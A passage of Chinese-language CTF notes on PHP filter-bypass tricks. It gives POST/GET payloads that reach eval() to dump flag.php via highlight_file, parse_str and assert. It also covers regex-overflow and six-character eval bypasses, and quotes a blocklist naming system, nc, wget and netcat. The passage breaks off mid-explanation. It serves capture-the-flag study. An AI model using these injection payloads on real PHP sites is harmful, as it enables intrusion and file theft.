trim() 这个函数可以过滤掉一些特殊符号,但是换页符\f不过滤。这个方法对is_numeric也有效
带 . 的变量名 php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换。php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换
先看看下面这个变量的传入
isset($_POST['CTF_SHOW.COM']) 这个变量如果按正常逻辑,应该传入CTF_SHOW.COM=1,但根据这个特性,就只能传入CTF[SHOW.COM=
自己构建传值方法 先看代码
include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\|\/|~|`|!|\@|#|\%|\^|*|-|+|=|{|}|\"|\'|\,|.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } 这里介绍一种很特别的方法
highlight_file熟悉吧?但是这里没法传入flag,怎么办?看下面的payload就知道了
GET:?shell=flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[shell]) $_SERVER $_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。更多信息可以参考这里
上面那道题的代码可以通过下面payload绕过。
意思就是通过$_SERVER[‘argv’]将$a变成数组,利用数组这个“障眼法”,在eval处执行parse_str将fl0g=flag_give_me变成一条命令(变量),同时还绕过第一个if中的!isset($_GET[‘fl0g’])),用+来进行分隔,使得数组中有多个数值。执行eval函数也就是执行$c即是parse_str($a[1]),使得fl0g=flag_give_me,从而进入第三个if语句。
GET:?a=1+fl0g=flag_give_me POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) 或者
GET:?$fl0g=flag_give_me POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0]) $_SERVER[‘QUERY_STRING’] ‘QUERY_STRING’ 这一参数的作用是接收所有get数据。更多类似参数可以看这里
_() _()是一个函数
_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll
get_defined_vars() get_defined_vars 函数返回由所有已定义变量所组成的数组 这样可以获得 $flag
stripos() 这个函数存在路径穿越漏洞,可以使用../..返回上级目录
正则表达式溢出 在php中正则表达式进行匹配有一定的限制,超过限制直接返回false
例如,在preg_replace函数的匹配规则种,被匹配的参数只要够大(25万个very就行),就能让这个函数强行输出false
变量覆盖绕过 先来看这段代码
if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); }} 很明显是要我们读取flag.php的内容,但是F被substr过滤处理,所以需要一点特殊的方法来绕过
这里就直接放payload,可以使sleep被执行(这里的sleep是shell的sleep,不是php)
为什么这句payload可以被执行呢?首先,substr把
...